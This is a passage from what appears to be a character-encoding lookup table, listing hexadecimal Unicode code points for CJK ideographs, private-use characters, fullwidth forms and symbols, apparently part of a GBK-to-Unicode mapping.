0x6A8A, 0x6A8B, 0x6A8C, 0x6A8D, 0x6A8F, 0x6A92, 0x6A93, 0x6A94, 0x6A95,
0x6A96, 0x6A98, 0x6A99, 0x6A9A, 0x6A9B, 0x6A9C, 0x6A9D, 0x6A9E, 0x6A9F,
0x6AA1, 0x6AA2, 0x6AA3, 0x6AA4, 0x6AA5, 0x6AA6, 0x6AA7, 0x6AA8, 0x6AAA,
0x6AAD, 0x6AAE, 0x6AAF, 0x6AB0, 0x6AB1, 0x6AB2, 0x6AB3, 0x6AB4, 0x6AB5,
0x6AB6, 0x6AB7, 0x6AB8, 0x6AB9, 0x6ABA, 0x6ABB, 0x6ABC, 0x6ABD, 0x6ABE,
0x6ABF, 0x6AC0, 0x6AC1, 0x6AC2, 0x6AC3, 0x6AC4, 0x6AC5, 0x6AC6, 0x6AC7,
0x6AC8, 0x6AC9, 0x6ACA, 0x6ACB, 0x6ACC, 0x6ACD, 0x6ACE, 0x6ACF, 0x6AD0,
0x6AD1, 0x6AD2, 0x6AD3, 0x6AD4, 0x6AD5, 0x6AD6, 0x6AD7, 0x6AD8, 0x6AD9,
0x6ADA, 0x6ADB, 0x6ADC, 0x6ADD, 0x6ADE, 0x6ADF, 0x6AE0, 0x6AE1, 0x6AE2,
0x6AE3, 0x6AE4, 0x6AE5, 0x6AE6, 0x6AE7, 0x6AE8, 0x6AE9, 0x6AEA, 0x6AEB,
0x6AEC, 0x6AED, 0x6AEE, 0x6AEF, 0x6AF0, 0x6AF1, 0x6AF2, 0x6AF3, 0x6AF4,
0x6AF5, 0x6AF6, 0x6AF7, 0x6AF8, 0x6AF9, 0x6AFA, 0x6AFB, 0x6AFC, 0x6AFD,
0x6AFE, 0x6AFF, 0x6B00, 0x6B01, 0x6B02, 0x6B03, 0x6B04, 0x6B05, 0x6B06,
0x6B07, 0x6B08, 0x6B09, 0x6B0A, 0x6B0B, 0x6B0C, 0x6B0D, 0x6B0E, 0x6B0F,
0x6B10, 0x6B11, 0x6B12, 0x6B13, 0x6B14, 0x6B15, 0x6B16, 0x6B17, 0x6B18,
0x6B19, 0x6B1A, 0x6B1B, 0x6B1C, 0x6B1D, 0x6B1E, 0x6B1F, 0x6B25, 0x6B26,
0x6B28, 0x6B29, 0x6B2A, 0x6B2B, 0x6B2C, 0x6B2D, 0x6B2E, 0x6B2F, 0x6B30,
0x6B31, 0x6B33, 0x6B34, 0x6B35, 0x6B36, 0x6B38, 0x6B3B, 0x6B3C, 0x6B3D,
0x6B3F, 0x6B40, 0x6B41, 0x6B42, 0x6B44, 0x6B45, 0x6B48, 0x6B4A, 0x6B4B,
0x6B4D, 0x6B4E, 0x6B4F, 0x6B50, 0x6B51, 0x6B52, 0x6B53, 0x6B54, 0x6B55,
0x6B56, 0x6B57, 0x6B58, 0x6B5A, 0x6B5B, 0x6B5C, 0x6B5D, 0x6B5E, 0x6B5F,
0x6B60, 0x6B61, 0x6B68, 0x6B69, 0x6B6B, 0x6B6C, 0x6B6D, 0x6B6E, 0x6B6F,
0x6B70, 0x6B71, 0x6B72, 0x6B73, 0x6B74, 0x6B75, 0x6B76, 0x6B77, 0x6B78,
0x6B7A, 0x6B7D, 0x6B7E, 0x6B7F, 0x6B80, 0x6B85, 0x6B88, 0x6B8C, 0x6B8E,
0x6B8F, 0x6B90, 0x6B91, 0x6B94, 0x6B95, 0x6B97, 0x6B98, 0x6B99, 0x6B9C,
0x6B9D, 0x6B9E, 0x6B9F, 0x6BA0, 0x6BA2, 0x6BA3, 0x6BA4, 0x6BA5, 0x6BA6,
0x6BA7, 0x6BA8, 0x6BA9, 0x6BAB, 0x6BAC, 0x6BAD, 0x6BAE, 0x6BAF, 0x6BB0,
0x6BB1, 0x6BB2, 0x6BB6, 0x6BB8, 0x6BB9, 0x6BBA, 0x6BBB, 0x6BBC, 0x6BBD,
0x6BBE, 0x6BC0, 0x6BC3, 0x6BC4, 0x6BC6, 0x6BC7, 0x6BC8, 0x6BC9, 0x6BCA,
0x6BCC, 0x6BCE, 0x6BD0, 0x6BD1, 0x6BD8, 0x6BDA, 0x6BDC, 0x6BDD, 0x6BDE,
0x6BDF, 0x6BE0, 0x6BE2, 0x6BE3, 0x6BE4, 0x6BE5, 0x6BE6, 0x6BE7, 0x6BE8,
0x6BE9, 0x6BEC, 0x6BED, 0x6BEE, 0x6BF0, 0x6BF1, 0x6BF2, 0x6BF4, 0x6BF6,
0x6BF7, 0x6BF8, 0x6BFA, 0x6BFB, 0x6BFC, 0x6BFE, 0x6BFF, 0x6C00, 0x6C01,
0x6C02, 0x6C03, 0x6C04, 0x6C08, 0x6C09, 0x6C0A, 0x6C0B, 0x6C0C, 0x6C0E,
0x6C12, 0x6C17, 0x6C1C, 0x6C1D, 0x6C1E, 0x6C20, 0x6C23, 0x6C25, 0x6C2B,
0x6C2C, 0x6C2D, 0x6C31, 0x6C33, 0x6C36, 0x6C37, 0x6C39, 0x6C3A, 0x6C3B,
0x6C3C, 0x6C3E, 0x6C3F, 0x6C43, 0x6C44, 0x6C45, 0x6C48, 0x6C4B, 0x6C4C,
0x6C4D, 0x6C4E, 0x6C4F, 0x6C51, 0x6C52, 0x6C53, 0x6C56, 0x6C58, 0x6C59,
0x6C5A, 0x6C62, 0x6C63, 0x6C65, 0x6C66, 0x6C67, 0x6C6B, 0x6C6C, 0x6C6D,
0x6C6E, 0x6C6F, 0x6C71, 0x6C73, 0x6C75, 0x6C77, 0x6C78, 0x6C7A, 0x6C7B,
0x6C7C, 0x6C7F, 0x6C80, 0x6C84, 0x6C87, 0x6C8A, 0x6C8B, 0x6C8D, 0x6C8E,
0x6C91, 0x6C92, 0x6C95, 0x6C96, 0x6C97, 0x6C98, 0x6C9A, 0x6C9C, 0x6C9D,
0x6C9E, 0x6CA0, 0x6CA2, 0x6CA8, 0x6CAC, 0x6CAF, 0x6CB0, 0x6CB4, 0x6CB5,
0x6CB6, 0x6CB7, 0x6CBA, 0x6CC0, 0x6CC1, 0x6CC2, 0x6CC3, 0x6CC6, 0x6CC7,
0x6CC8, 0x6CCB, 0x6CCD, 0x6CCE, 0x6CCF, 0x6CD1, 0x6CD2, 0x6CD8, 0x6CD9,
0x6CDA, 0x6CDC, 0x6CDD, 0x6CDF, 0x6CE4, 0x6CE6, 0x6CE7, 0x6CE9, 0x6CEC,
0x6CED, 0x6CF2, 0x6CF4, 0x6CF9, 0x6CFF, 0x6D00, 0x6D02, 0x6D03, 0x6D05,
0x6D06, 0x6D08, 0x6D09, 0x6D0A, 0x6D0D, 0x6D0F, 0x6D10, 0x6D11, 0x6D13,
0x6D14, 0x6D15, 0x6D16, 0x6D18, 0x6D1C, 0x6D1D, 0x6D1F, 0x6D20, 0x6D21,
0x6D22, 0x6D23, 0x6D24, 0x6D26, 0x6D28, 0x6D29, 0x6D2C, 0x6D2D, 0x6D2F,
0x6D30, 0x6D34, 0x6D36, 0x6D37, 0x6D38, 0x6D3A, 0x6D3F, 0x6D40, 0x6D42,
0x6D44, 0x6D49, 0x6D4C, 0x6D50, 0x6D55, 0x6D56, 0x6D57, 0x6D58, 0x6D5B,
0x6D5D, 0x6D5F, 0x6D61, 0x6D62, 0x6D64, 0x6D65, 0x6D67, 0x6D68, 0x6D6B,
0x6D6C, 0x6D6D, 0x6D70, 0x6D71, 0x6D72, 0x6D73, 0x6D75, 0x6D76, 0x6D79,
0x6D7A, 0x6D7B, 0x6D7D, 0x6D7E, 0x6D7F, 0x6D80, 0x6D81, 0x6D83, 0x6D84,
0x6D86, 0x6D87, 0x6D8A, 0x6D8B, 0x6D8D, 0x6D8F, 0x6D90, 0x6D92, 0x6D96,
0x6D97, 0x6D98, 0x6D99, 0x6D9A, 0x6D9C, 0x6DA2, 0x6DA5, 0x6DAC, 0x6DAD,
0x6DB0, 0x6DB1, 0x6DB3, 0x6DB4, 0x6DB6, 0x6DB7, 0x6DB9, 0x6DBA, 0x6DBB,
0x6DBC, 0x6DBD, 0x6DBE, 0x6DC1, 0x6DC2, 0x6DC3, 0x6DC8, 0x6DC9, 0x6DCA,
0x6DCD, 0x6DCE, 0x6DCF, 0x6DD0, 0x6DD2, 0x6DD3, 0x6DD4, 0x6DD5, 0x6DD7,
0x6DDA, 0x6DDB, 0x6DDC, 0x6DDF, 0x6DE2, 0x6DE3, 0x6DE5, 0x6DE7, 0x6DE8,
0x6DE9, 0x6DEA, 0x6DED, 0x6DEF, 0x6DF0, 0x6DF2, 0x6DF4, 0x6DF5, 0x6DF6,
0x6DF8, 0x6DFA, 0x6DFD, 0x6DFE, 0x6DFF, 0x6E00, 0x6E01, 0x6E02, 0x6E03,
0x6E04, 0x6E06, 0x6E07, 0x6E08, 0x6E09, 0x6E0B, 0x6E0F, 0x6E12, 0x6E13,
0x6E15, 0x6E18, 0x6E19, 0x6E1B, 0x6E1C, 0x6E1E, 0x6E1F, 0x6E22, 0x6E26,
0x6E27, 0x6E28, 0x6E2A, 0x6E2C, 0x6E2E, 0x6E30, 0x6E31, 0x6E33, 0x6E35,
0x6E36, 0x6E37, 0x6E39, 0x6E3B, 0x6E3C, 0x6E3D, 0x6E3E, 0x6E3F, 0x6E40,
0x6E41, 0x6E42, 0x6E45, 0x6E46, 0x6E47, 0x6E48, 0x6E49, 0x6E4A, 0x6E4B,
0x6E4C, 0x6E4F, 0x6E50, 0x6E51, 0x6E52, 0x6E55, 0x6E57, 0x6E59, 0x6E5A,
0x6E5C, 0x6E5D, 0x6E5E, 0x6E60, 0x6E61, 0x6E62, 0x6E63, 0x6E64, 0x6E65,
0x6E66, 0x6E67, 0x6E68, 0x6E69, 0x6E6A, 0x6E6C, 0x6E6D, 0x6E6F, 0x6E70,
0x6E71, 0x6E72, 0x6E73, 0x6E74, 0x6E75, 0x6E76, 0x6E77, 0x6E78, 0x6E79,
0x6E7A, 0x6E7B, 0x6E7C, 0x6E7D, 0x6E80, 0x6E81, 0x6E82, 0x6E84, 0x6E87,
0x6E88, 0x6E8A, 0x6E8B, 0x6E8C, 0x6E8D, 0x6E8E, 0x6E91, 0x6E92, 0x6E93,
0x6E94, 0x6E95, 0x6E96, 0x6E97, 0x6E99, 0x6E9A, 0x6E9B, 0x6E9D, 0x6E9E,
0x6EA0, 0x6EA1, 0x6EA3, 0x6EA4, 0x6EA6, 0x6EA8, 0x6EA9, 0x6EAB, 0x6EAC,
0x6EAD, 0x6EAE, 0x6EB0, 0x6EB3, 0x6EB5, 0x6EB8, 0x6EB9, 0x6EBC, 0x6EBE,
0x6EBF, 0x6EC0, 0x6EC3, 0x6EC4, 0x6EC5, 0x6EC6, 0x6EC8, 0x6EC9, 0x6ECA,
0x6ECC, 0x6ECD, 0x6ECE, 0x6ED0, 0x6ED2, 0x6ED6, 0x6ED8, 0x6ED9, 0x6EDB,
0x6EDC, 0x6EDD, 0x6EE3, 0x6EE7, 0x6EEA, 0x6EEB, 0x6EEC, 0x6EED, 0x6EEE,
0x6EEF, 0x6EF0, 0x6EF1, 0x6EF2, 0x6EF3, 0x6EF5, 0x6EF6, 0x6EF7, 0x6EF8,
0x6EFA, 0x6EFB, 0x6EFC, 0x6EFD, 0x6EFE, 0x6EFF, 0x6F00, 0x6F01, 0x6F03,
0x6F04, 0x6F05, 0x6F07, 0x6F08, 0x6F0A, 0x6F0B, 0x6F0C, 0x6F0D, 0x6F0E,
0x6F10, 0x6F11, 0x6F12, 0x6F16, 0x6F17, 0x6F18, 0x6F19, 0x6F1A, 0x6F1B,
0x6F1C, 0x6F1D, 0x6F1E, 0x6F1F, 0x6F21, 0x6F22, 0x6F23, 0x6F25, 0x6F26,
0x6F27, 0x6F28, 0x6F2C, 0x6F2E, 0x6F30, 0x6F32, 0x6F34, 0x6F35, 0x6F37,
0x6F38, 0x6F39, 0x6F3A, 0x6F3B, 0x6F3C, 0x6F3D, 0x6F3F, 0x6F40, 0x6F41,
0x6F42, 0x6F43, 0x6F44, 0x6F45, 0x6F48, 0x6F49, 0x6F4A, 0x6F4C, 0x6F4E,
0x6F4F, 0x6F50, 0x6F51, 0x6F52, 0x6F53, 0x6F54, 0x6F55, 0x6F56, 0x6F57,
0x6F59, 0x6F5A, 0x6F5B, 0x6F5D, 0x6F5F, 0x6F60, 0x6F61, 0x6F63, 0x6F64,
0x6F65, 0x6F67, 0x6F68, 0x6F69, 0x6F6A, 0x6F6B, 0x6F6C, 0x6F6F, 0x6F70,
0x6F71, 0x6F73, 0x6F75, 0x6F76, 0x6F77, 0x6F79, 0x6F7B, 0x6F7D, 0x6F7E,
0x6F7F, 0x6F80, 0x6F81, 0x6F82, 0x6F83, 0x6F85, 0x6F86, 0x6F87, 0x6F8A,
0x6F8B, 0x6F8F, 0x6F90, 0x6F91, 0x6F92, 0x6F93, 0x6F94, 0x6F95, 0x6F96,
0x6F97, 0x6F98, 0x6F99, 0x6F9A, 0x6F9B, 0x6F9D, 0x6F9E, 0x6F9F, 0x6FA0,
0x6FA2, 0x6FA3, 0x6FA4, 0x6FA5, 0x6FA6, 0x6FA8, 0x6FA9, 0x6FAA, 0x6FAB,
0x6FAC, 0x6FAD, 0x6FAE, 0x6FAF, 0x6FB0, 0x6FB1, 0x6FB2, 0x6FB4, 0x6FB5,
0x6FB7, 0x6FB8, 0x6FBA, 0x6FBB, 0x6FBC, 0x6FBD, 0x6FBE, 0x6FBF, 0x6FC1,
0x6FC3, 0x6FC4, 0x6FC5, 0x6FC6, 0x6FC7, 0x6FC8, 0x6FCA, 0x6FCB, 0x6FCC,
0x6FCD, 0x6FCE, 0x6FCF, 0x6FD0, 0x6FD3, 0x6FD4, 0x6FD5, 0x6FD6, 0x6FD7,
0x6FD8, 0x6FD9, 0x6FDA, 0x6FDB, 0x6FDC, 0x6FDD, 0x6FDF, 0x6FE2, 0x6FE3,
0x6FE4, 0x6FE5, 0x6FE6, 0x6FE7, 0x6FE8, 0x6FE9, 0x6FEA, 0x6FEB, 0x6FEC,
0x6FED, 0x6FF0, 0x6FF1, 0x6FF2, 0x6FF3, 0x6FF4, 0x6FF5, 0x6FF6, 0x6FF7,
0x6FF8, 0x6FF9, 0x6FFA, 0x6FFB, 0x6FFC, 0x6FFD, 0x6FFE, 0x6FFF, 0x7000,
0x7001, 0x7002, 0x7003, 0x7004, 0x7005, 0x7006, 0x7007, 0x7008, 0x7009,
0x700A, 0x700B, 0x700C, 0x700D, 0x700E, 0x700F, 0x7010, 0x7012, 0x7013,
0x7014, 0x7015, 0x7016, 0x7017, 0x7018, 0x7019, 0x701C, 0x701D, 0x701E,
0x701F, 0x7020, 0x7021, 0x7022, 0x7024, 0x7025, 0x7026, 0x7027, 0x7028,
0x7029, 0x702A, 0x702B, 0x702C, 0x702D, 0x702E, 0x702F, 0x7030, 0x7031,
0x7032, 0x7033, 0x7034, 0x7036, 0x7037, 0x7038, 0x703A, 0x703B, 0x703C,
0x703D, 0x703E, 0x703F, 0x7040, 0x7041, 0x7042, 0x7043, 0x7044, 0x7045,
0x7046, 0x7047, 0x7048, 0x7049, 0x704A, 0x704B, 0x704D, 0x704E, 0x7050,
0x7051, 0x7052, 0x7053, 0x7054, 0x7055, 0x7056, 0x7057, 0x7058, 0x7059,
0x705A, 0x705B, 0x705C, 0x705D, 0x705F, 0x7060, 0x7061, 0x7062, 0x7063,
0x7064, 0x7065, 0x7066, 0x7067, 0x7068, 0x7069, 0x706A, 0x706E, 0x7071,
0x7072, 0x7073, 0x7074, 0x7077, 0x7079, 0x707A, 0x707B, 0x707D, 0x7081,
0x7082, 0x7083, 0x7084, 0x7086, 0x7087, 0x7088, 0x708B, 0x708C, 0x708D,
0x708F, 0x7090, 0x7091, 0x7093, 0x7097, 0x7098, 0x709A, 0x709B, 0x709E,
0x709F, 0x70A0, 0x70A1, 0x70A2, 0x70A3, 0x70A4, 0x70A5, 0x70A6, 0x70A7,
0x70A8, 0x70A9, 0x70AA, 0x70B0, 0x70B2, 0x70B4, 0x70B5, 0x70B6, 0x70BA,
0x70BE, 0x70BF, 0x70C4, 0x70C5, 0x70C6, 0x70C7, 0x70C9, 0x70CB, 0x70CC,
0x70CD, 0x70CE, 0x70CF, 0x70D0, 0x70D1, 0x70D2, 0x70D3, 0x70D4, 0x70D5,
0x70D6, 0x70D7, 0x70DA, 0x70DC, 0x70DD, 0x70DE, 0x70E0, 0x70E1, 0x70E2,
0x70E3, 0x70E5, 0x70EA, 0x70EE, 0x70F0, 0x70F1, 0x70F2, 0x70F3, 0x70F4,
0x70F5, 0x70F6, 0x70F8, 0x70FA, 0x70FB, 0x70FC, 0x70FE, 0x70FF, 0x7100,
0x7101, 0x7102, 0x7103, 0x7104, 0x7105, 0x7106, 0x7107, 0x7108, 0x710B,
0x710C, 0x710D, 0x710E, 0x710F, 0x7111, 0x7112, 0x7114, 0x7117, 0x711B,
0x711C, 0x711D, 0x711E, 0x711F, 0x7120, 0x7121, 0x7122, 0x7123, 0x7124,
0x7125, 0x7127, 0x7128, 0x7129, 0x712A, 0x712B, 0x712C, 0x712D, 0x712E,
0x7132, 0x7133, 0x7134, 0x7135, 0x7137, 0x7138, 0x7139, 0x713A, 0x713B,
0x713C, 0x713D, 0x713E, 0x713F, 0x7140, 0x7141, 0x7142, 0x7143, 0x7144,
0x7146, 0x7147, 0x7148, 0x7149, 0x714B, 0x714D, 0x714F, 0x7150, 0x7151,
0x7152, 0x7153, 0x7154, 0x7155, 0x7156, 0x7157, 0x7158, 0x7159, 0x715A,
0x715B, 0x715D, 0x715F, 0x7160, 0x7161, 0x7162, 0x7163, 0x7165, 0x7169,
0x716A, 0x716B, 0x716C, 0x716D, 0x716F, 0x7170, 0x7171, 0x7174, 0x7175,
0x7176, 0x7177, 0x7179, 0x717B, 0x717C, 0x717E, 0x717F, 0x7180, 0x7181,
0x7182, 0x7183, 0x7185, 0x7186, 0x7187, 0x7188, 0x7189, 0x718B, 0x718C,
0x718D, 0x718E, 0x7190, 0x7191, 0x7192, 0x7193, 0x7195, 0x7196, 0x7197,
0x719A, 0x719B, 0x719C, 0x719D, 0x719E, 0x71A1, 0x71A2, 0x71A3, 0x71A4,
0x71A5, 0x71A6, 0x71A7, 0x71A9, 0x71AA, 0x71AB, 0x71AD, 0x71AE, 0x71AF,
0x71B0, 0x71B1, 0x71B2, 0x71B4, 0x71B6, 0x71B7, 0x71B8, 0x71BA, 0x71BB,
0x71BC, 0x71BD, 0x71BE, 0x71BF, 0x71C0, 0x71C1, 0x71C2, 0x71C4, 0x71C5,
0x71C6, 0x71C7, 0x71C8, 0x71C9, 0x71CA, 0x71CB, 0x71CC, 0x71CD, 0x71CF,
0x71D0, 0x71D1, 0x71D2, 0x71D3, 0x71D6, 0x71D7, 0x71D8, 0x71D9, 0x71DA,
0x71DB, 0x71DC, 0x71DD, 0x71DE, 0x71DF, 0x71E1, 0x71E2, 0x71E3, 0x71E4,
0x71E6, 0x71E8, 0x71E9, 0x71EA, 0x71EB, 0x71EC, 0x71ED, 0x71EF, 0x71F0,
0x71F1, 0x71F2, 0x71F3, 0x71F4, 0x71F5, 0x71F6, 0x71F7, 0x71F8, 0x71FA,
0x71FB, 0x71FC, 0x71FD, 0x71FE, 0x71FF, 0x7200, 0x7201, 0x7202, 0x7203,
0x7204, 0x7205, 0x7207, 0x7208, 0x7209, 0x720A, 0x720B, 0x720C, 0x720D,
0x720E, 0x720F, 0x7210, 0x7211, 0x7212, 0x7213, 0x7214, 0x7215, 0x7216,
0x7217, 0x7218, 0x7219, 0x721A, 0x721B, 0x721C, 0x721E, 0x721F, 0x7220,
0x7221, 0x7222, 0x7223, 0x7224, 0x7225, 0x7226, 0x7227, 0x7229, 0x722B,
0x722D, 0x722E, 0x722F, 0x7232, 0x7233, 0x7234, 0x723A, 0x723C, 0x723E,
0x7240, 0x7241, 0x7242, 0x7243, 0x7244, 0x7245, 0x7246, 0x7249, 0x724A,
0x724B, 0x724E, 0x724F, 0x7250, 0x7251, 0x7253, 0x7254, 0x7255, 0x7257,
0x7258, 0x725A, 0x725C, 0x725E, 0x7260, 0x7263, 0x7264, 0x7265, 0x7268,
0x726A, 0x726B, 0x726C, 0x726D, 0x7270, 0x7271, 0x7273, 0x7274, 0x7276,
0x7277, 0x7278, 0x727B, 0x727C, 0x727D, 0x7282, 0x7283, 0x7285, 0x7286,
0x7287, 0x7288, 0x7289, 0x728C, 0x728E, 0x7290, 0x7291, 0x7293, 0x7294,
0x7295, 0x7296, 0x7297, 0x7298, 0x7299, 0x729A, 0x729B, 0x729C, 0x729D,
0x729E, 0x72A0, 0x72A1, 0x72A2, 0x72A3, 0x72A4, 0x72A5, 0x72A6, 0x72A7,
0x72A8, 0x72A9, 0x72AA, 0x72AB, 0x72AE, 0x72B1, 0x72B2, 0x72B3, 0x72B5,
0x72BA, 0x72BB, 0x72BC, 0x72BD, 0x72BE, 0x72BF, 0x72C0, 0x72C5, 0x72C6,
0x72C7, 0x72C9, 0x72CA, 0x72CB, 0x72CC, 0x72CF, 0x72D1, 0x72D3, 0x72D4,
0x72D5, 0x72D6, 0x72D8, 0x72DA, 0x72DB, 0xE4C6, 0xE4C7, 0xE4C8, 0xE4C9,
0xE4CA, 0xE4CB, 0xE4CC, 0xE4CD, 0xE4CE, 0xE4CF, 0xE4D0, 0xE4D1, 0xE4D2,
0xE4D3, 0xE4D4, 0xE4D5, 0xE4D6, 0xE4D7, 0xE4D8, 0xE4D9, 0xE4DA, 0xE4DB,
0xE4DC, 0xE4DD, 0xE4DE, 0xE4DF, 0xE4E0, 0xE4E1, 0xE4E2, 0xE4E3, 0xE4E4,
0xE4E5, 0xE4E6, 0xE4E7, 0xE4E8, 0xE4E9, 0xE4EA, 0xE4EB, 0xE4EC, 0xE4ED,
0xE4EE, 0xE4EF, 0xE4F0, 0xE4F1, 0xE4F2, 0xE4F3, 0xE4F4, 0xE4F5, 0xE4F6,
0xE4F7, 0xE4F8, 0xE4F9, 0xE4FA, 0xE4FB, 0xE4FC, 0xE4FD, 0xE4FE, 0xE4FF,
0xE500, 0xE501, 0xE502, 0xE503, 0xE504, 0xE505, 0xE506, 0xE507, 0xE508,
0xE509, 0xE50A, 0xE50B, 0xE50C, 0xE50D, 0xE50E, 0xE50F, 0xE510, 0xE511,
0xE512, 0xE513, 0xE514, 0xE515, 0xE516, 0xE517, 0xE518, 0xE519, 0xE51A,
0xE51B, 0xE51C, 0xE51D, 0xE51E, 0xE51F, 0xE520, 0xE521, 0xE522, 0xE523,
0xE524, 0xE525, 0x3000, 0x3001, 0x3002, 0x00B7, 0x02C9, 0x02C7, 0x00A8,
0x3003, 0x3005, 0x2014, 0xFF5E, 0x2016, 0x2026, 0x2018, 0x2019, 0x201C,
0x201D, 0x3014, 0x3015, 0x3008, 0x3009, 0x300A, 0x300B, 0x300C, 0x300D,
0x300E, 0x300F, 0x3016, 0x3017, 0x3010, 0x3011, 0x00B1, 0x00D7, 0x00F7,
0x2236, 0x2227, 0x2228, 0x2211, 0x220F, 0x222A, 0x2229, 0x2208, 0x2237,
0x221A, 0x22A5, 0x2225, 0x2220, 0x2312, 0x2299, 0x222B, 0x222E, 0x2261,
0x224C, 0x2248, 0x223D, 0x221D, 0x2260, 0x226E, 0x226F, 0x2264, 0x2265,
0x221E, 0x2235, 0x2234, 0x2642, 0x2640, 0x00B0, 0x2032, 0x2033, 0x2103,
0xFF04, 0x00A4, 0xFFE0, 0xFFE1, 0x2030, 0x00A7, 0x2116, 0x2606, 0x2605,
0x25CB, 0x25CF, 0x25CE, 0x25C7, 0x25C6, 0x25A1, 0x25A0, 0x25B3, 0x25B2,
0x203B, 0x2192, 0x2190, 0x2191, 0x2193, 0x3013, 0xE526, 0xE527, 0xE528,
0xE529, 0xE52A, 0xE52B, 0xE52C, 0xE52D, 0xE52E, 0xE52F, 0xE530, 0xE531,
0xE532, 0xE533, 0xE534, 0xE535, 0xE536, 0xE537, 0xE538, 0xE539, 0xE53A,
0xE53B, 0xE53C, 0xE53D, 0xE53E, 0xE53F, 0xE540, 0xE541, 0xE542, 0xE543,
0xE544, 0xE545, 0xE546, 0xE547, 0xE548, 0xE549, 0xE54A, 0xE54B, 0xE54C,
0xE54D, 0xE54E, 0xE54F, 0xE550, 0xE551, 0xE552, 0xE553, 0xE554, 0xE555,
0xE556, 0xE557, 0xE558, 0xE559, 0xE55A, 0xE55B, 0xE55C, 0xE55D, 0xE55E,
0xE55F, 0xE560, 0xE561, 0xE562, 0xE563, 0xE564, 0xE565, 0xE566, 0xE567,
0xE568, 0xE569, 0xE56A, 0xE56B, 0xE56C, 0xE56D, 0xE56E, 0xE56F, 0xE570,
0xE571, 0xE572, 0xE573, 0xE574, 0xE575, 0xE576, 0xE577, 0xE578, 0xE579,
0xE57A, 0xE57B, 0xE57C, 0xE57D, 0xE57E, 0xE57F, 0xE580, 0xE581, 0xE582,
0xE583, 0xE584, 0xE585, 0x2170, 0x2171, 0x2172, 0x2173, 0x2174, 0x2175,
0x2176, 0x2177, 0x2178, 0x2179, 0xE766, 0xE767, 0xE768, 0xE769, 0xE76A,
0xE76B, 0x2488, 0x2489, 0x248A, 0x248B, 0x248C, 0x248D, 0x248E, 0x248F,
0x2490, 0x2491, 0x2492, 0x2493, 0x2494, 0x2495, 0x2496, 0x2497, 0x2498,
0x2499, 0x249A, 0x249B, 0x2474, 0x2475, 0x2476, 0x2477, 0x2478, 0x2479,
0x247A, 0x247B, 0x247C, 0x247D, 0x247E, 0x247F, 0x2480, 0x2481, 0x2482,
0x2483, 0x2484, 0x2485, 0x2486, 0x2487, 0x2460, 0x2461, 0x2462, 0x2463,
0x2464, 0x2465, 0x2466, 0x2467, 0x2468, 0x2469, 0x20AC, 0xE76D, 0x3220,
0x3221, 0x3222, 0x3223, 0x3224, 0x3225, 0x3226, 0x3227, 0x3228, 0x3229,
0xE76E, 0xE76F, 0x2160, 0x2161, 0x2162, 0x2163, 0x2164, 0x2165, 0x2166,
0x2167, 0x2168, 0x2169, 0x216A, 0x216B, 0xE770, 0xE771, 0xE586, 0xE587,
0xE588, 0xE589, 0xE58A, 0xE58B, 0xE58C, 0xE58D, 0xE58E, 0xE58F, 0xE590,
0xE591, 0xE592, 0xE593, 0xE594, 0xE595, 0xE596, 0xE597, 0xE598, 0xE599,
0xE59A, 0xE59B, 0xE59C, 0xE59D, 0xE59E, 0xE59F, 0xE5A0, 0xE5A1, 0xE5A2,
0xE5A3, 0xE5A4, 0xE5A5, 0xE5A6, 0xE5A7, 0xE5A8, 0xE5A9, 0xE5AA, 0xE5AB,
0xE5AC, 0xE5AD, 0xE5AE, 0xE5AF, 0xE5B0, 0xE5B1, 0xE5B2, 0xE5B3, 0xE5B4,
0xE5B5, 0xE5B6, 0xE5B7, 0xE5B8, 0xE5B9, 0xE5BA, 0xE5BB, 0xE5BC, 0xE5BD,
0xE5BE, 0xE5BF, 0xE5C0, 0xE5C1, 0xE5C2, 0xE5C3, 0xE5C4, 0xE5C5, 0xE5C6,
0xE5C7, 0xE5C8, 0xE5C9, 0xE5CA, 0xE5CB, 0xE5CC, 0xE5CD, 0xE5CE, 0xE5CF,
0xE5D0, 0xE5D1, 0xE5D2, 0xE5D3, 0xE5D4, 0xE5D5, 0xE5D6, 0xE5D7, 0xE5D8,
0xE5D9, 0xE5DA, 0xE5DB, 0xE5DC, 0xE5DD, 0xE5DE, 0xE5DF, 0xE5E0, 0xE5E1,
0xE5E2, 0xE5E3, 0xE5E4, 0xE5E5, 0xFF01, 0xFF02, 0xFF03, 0xFFE5, 0xFF05,
0xFF06, 0xFF07, 0xFF08, 0xFF09, 0xFF0A, 0xFF0B, 0xFF0C, 0xFF0D, 0xFF0E,
0xFF0F, 0xFF10, 0xFF11, 0xFF12, 0xFF13, 0xFF14, 0xFF15, 0xFF16, 0xFF17,
0xFF18, 0xFF19, 0xFF1A, 0xFF1B, 0xFF1C, 0xFF1D, 0xFF1E, 0xFF1F, 0xFF20,
0xFF21, 0xFF22, 0xFF23, 0xFF24, 0xFF25, 0xFF26, 0xFF27, 0xFF28, 0xFF29,
0xFF2A, 0xFF2B, 0xFF2C, 0xFF2D, 0xFF2E, 0xFF2F, 0xFF30, 0xFF31, 0xFF32,
0xFF33, 0xFF34, 0xFF35, 0xFF36, 0xFF37, 0xFF38, 0xFF39, 0xFF3A, 0xFF3B,
0xFF3C, 0xFF3D, 0xFF3E, 0xFF3F, 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44,
0xFF45, 0xFF46, 0xFF47, 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4C, 0xFF4D,
0xFF4E, 0xFF4F, 0xFF50, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55, 0xFF56,
0xFF57, 0xFF58, 0xFF59, 0xFF5A, 0xFF5B, 0xFF5C, 0xFF5D, 0xFFE3, 0xE5E6,
0xE5E7, 0xE5E8, 0xE5E9, 0xE5EA, 0xE5EB, 0xE5EC, 0xE5ED, 0xE5EE, 0xE5EF,
0xE5F0, 0xE5F1, 0xE5F2, 0xE5F3, 0xE5F4, 0xE5F5, 0xE5F6, 0xE5F7, 0xE5F8,
0xE5F9, 0xE5FA, 0xE5FB, 0xE5FC, 0xE5FD, 0xE5FE, 0xE5FF, 0xE600, 0xE601,
0xE602, 0xE603, 0xE604, 0xE605, 0xE606, 0xE607, 0xE608, 0xE609, 0xE60A,
0xE60B, 0xE60C, 0xE60D, 0xE60E, 0xE60F, 0xE610, 0xE611, 0xE612, 0xE613,
0xE614, 0xE615, 0xE616, 0xE617, 0xE618, 0xE619, 0xE61A, 0xE61B, 0xE61C,
0xE61D, 0xE61E, 0xE61F, 0xE620, 0xE621, 0xE622, 0xE623, 0xE624, 0xE625,
